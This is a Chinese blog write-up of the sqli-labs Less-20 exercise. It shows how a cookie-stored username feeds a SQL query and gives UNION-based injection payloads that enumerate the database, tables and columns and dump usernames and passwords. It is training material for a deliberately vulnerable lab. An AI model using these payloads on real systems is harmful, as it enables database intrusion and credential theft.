利用cookie进行SQL注入——看来还是人工注入要熟悉才行
Less-20
基于错误的cookie头部POST注入
首先从已知的条件中我们知道这又是一道“头部注入”,那么我们先输入正确的用户名和密码看一下登录成功是什么样子的:
回显有User-Agent、IP这样从当次Request直接获取的,
也有Cookie这样刷新页面后仍存在的,
还有登录用户的id、username、password。
最下方是删除Cookie的按钮,点击后刷新到初始界面。
从题意中我们大致可推断出注入点在cookie上:(查看后台核心源码:)
可以看到查询语句查询变量$cookee,且是单引号字符型,那么我们就在cookie里注入:
我们先查看一下请求头中的cookie值,我们可以有很多方法查看:
burpsuite抓包,看响应头
Chrome插件Edit This Cookie查看,存储的Cookie信息:
浏览器,按F12,在“网络”中查看,看响应头
1.burpsuite抓包过程:
2.Chrome插件Edit This Cookie查看,存储的Cookie信息:(没用过,截取别人的)
可以看到只存储了uname这一个字段的信息,且是明文存储。
修改Cookie后刷新界面:
3.F12查看
从上面的操作中,可知操作流程:
登陆后将uname写入Cookie。
在每次Request (GET / POST)页面时后台判断Cookie是否存在,若不存在则为登录界面;若存在则读取Cookie中字段uname。
在数据库中按username查询,若用户存在则将查询到用户id、username、password回显;若不存在…
可以判断出注入点就在Cookie处,但是这里注入有三种途径:
用Chrome插件EditThisCookie修改本地Cookie文件注入。
用Firefox浏览器插件HackBar修改本地Cookie文件注入(这个并不是很好用,不推荐用)。
用Burpsuite修改登陆(POST)成功后刷新时GET请求头中的Cookie值注入,这种方式不会修改本地的Cookie文件。
这里演示第二个途径:
我们得出后台根据Cookie中的uname查询用户的所有信息,即这是个SELECT语句,我们可以使用最简单的UNION注入。
1.判断字符型 / 数字型注入
爆出语法错误,看得出来就是单引号型;
2.判断字段数与回显字段
uname=Dumb' order by 4 -- #
uname=1' union select 1,2,3 -- #
PS:
关于获取字段的小技巧:我们从后台源码中,一般只要看到 select * from 表名,一般是要猜这个表里的所有字段,然后进行注入,如果是 select username,password from 表名,这种形式的可以直接利用2个字段,作为语句的注入字段。
3.暴库:
uname=1' union select 1,2,database() -- #
暴表:
uname=1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' -- #
暴字段:
uname=1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users' -- #
暴数据:(这两种其实是一样的)
uname=1' union select 1,2,group_concat(username,0x7e,password)from security.users -- #
uname=1' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users# -- #
上面就是简单的基于报错的注入
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
2019-06-14 Linux 反弹shell(二)反弹shell的本质
2018-06-14 leetcode 367. Valid Perfect Square
2018-06-14 DGA短域名(360样本) mark下 下次分析可以参考
2018-06-14 cylance做的机器学习相关材料汇总
2017-06-14 KD树——k=1时就是BST,里面的数学原理还是有不明白的地方,为啥方差划分?
2017-06-14 梯度下降法——得到的结果可能是局部最优值,如果凸函数则可保证梯度下降得到的是全局最优值